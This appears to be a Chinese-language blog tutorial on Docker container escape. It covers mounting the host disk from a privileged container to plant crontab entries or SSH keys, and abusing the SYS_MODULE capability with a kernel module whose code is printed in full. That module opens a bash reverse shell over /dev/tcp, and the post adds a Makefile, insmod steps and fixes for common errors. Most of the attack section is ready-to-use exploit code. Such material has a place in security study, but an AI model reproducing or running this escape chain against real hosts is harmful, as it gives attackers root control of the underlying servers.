特权模式启动容器
在docker run
的时候以特权模式启动,也就是添加--privileged=true
,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
具体在复现的时候可以在云服务器上进行,vmware的磁盘挂载有点问题,能够得到权限但是提示类型不对挂载不了
mount: /test: unknown filesystem type 'LVM2_member'.
docker run -itd --name="test" --privileged=true c29d6dea3e62
docker exec -it test bash
fdisk -l
mount /dev/vda1 /mnt
ls -la /mnt
此时可以写入crontab或者写入ssh key等可以拿下主机的shell
Capability权限
关于Capability权限: 有时,打包在 Docker镜像中的应用程序/工具可能需要执行特权操作才能运行。例如,它可能需要将内核模块插入到 Docker 主机的内核中。在这种情况下,Docker 允许用户向容器添加额外的 Linux 功能(例如:SYS_MODULE权限)
可以使用如下命令查看docker的Cap权限
cat /proc/1/status | grep Cap capsh --decode=00000000a80425fb # or capsh --print
例如使用--privileged=true
来启动容器就可以获得所有cap权限
SYS_MODULE
如果Docker有cap_sys_module
权限,那么可以像linux kernel里面插入用户定义的恶意代码。(Docker容器共享linux kernel)
复现一下,首先查看docker中的kernel版本以及ip地址:
ip addr is used for reverse shell
[root@ddf4b2caad13 /]# uname -r
3.10.0-1160.45.1.el7.x86_64
[root@ddf4b2caad13 /]# ifconfig
172.17.0.2
然后使用对应kernel的make版本编译如下内核模块
write reverse-shell.c
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/172.17.0.2/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL};
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
write Makefile
比如说我linux kernel版本是3.10.0-1160.45.1.el7.x86_64,那就得使用/usr/src/kernels/3.10.0-1160.45.1.el7.x86_64/
obj-m += reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
make
编译出来时下面这几个文件,其中reverse-shell.ko是我们想要的:
这时候想办法传到docker容器里面
getshell
dockers容器里面开启一个监听
另起一个shell,执行
insmod reverse-shell.ko
这时候就可以收到一个宿主机的root shell了
注意
- 提示
insmod error: inserting './xxxx.ko': -1 Invalid module format
一定是没有用对应kernel版本的make来编译- 比如说我linux kernel版本是3.10.0-1160.45.1.el7.x86_64,那就得使用/usr/src/kernels/3.10.0-1160.45.1.el7.x86_64/
- 提示
insmod: ERROR: could not insert module reverse-shell.ko: File exists
是因为之前装过同名的mod了,可以使用rmmod reverse-shell.ko
来卸载掉
REF
未完待续…..
上班ing 慢慢更..
Reference
Dirty Pipe Linux Vulnerability: Overwriting Files in Container Images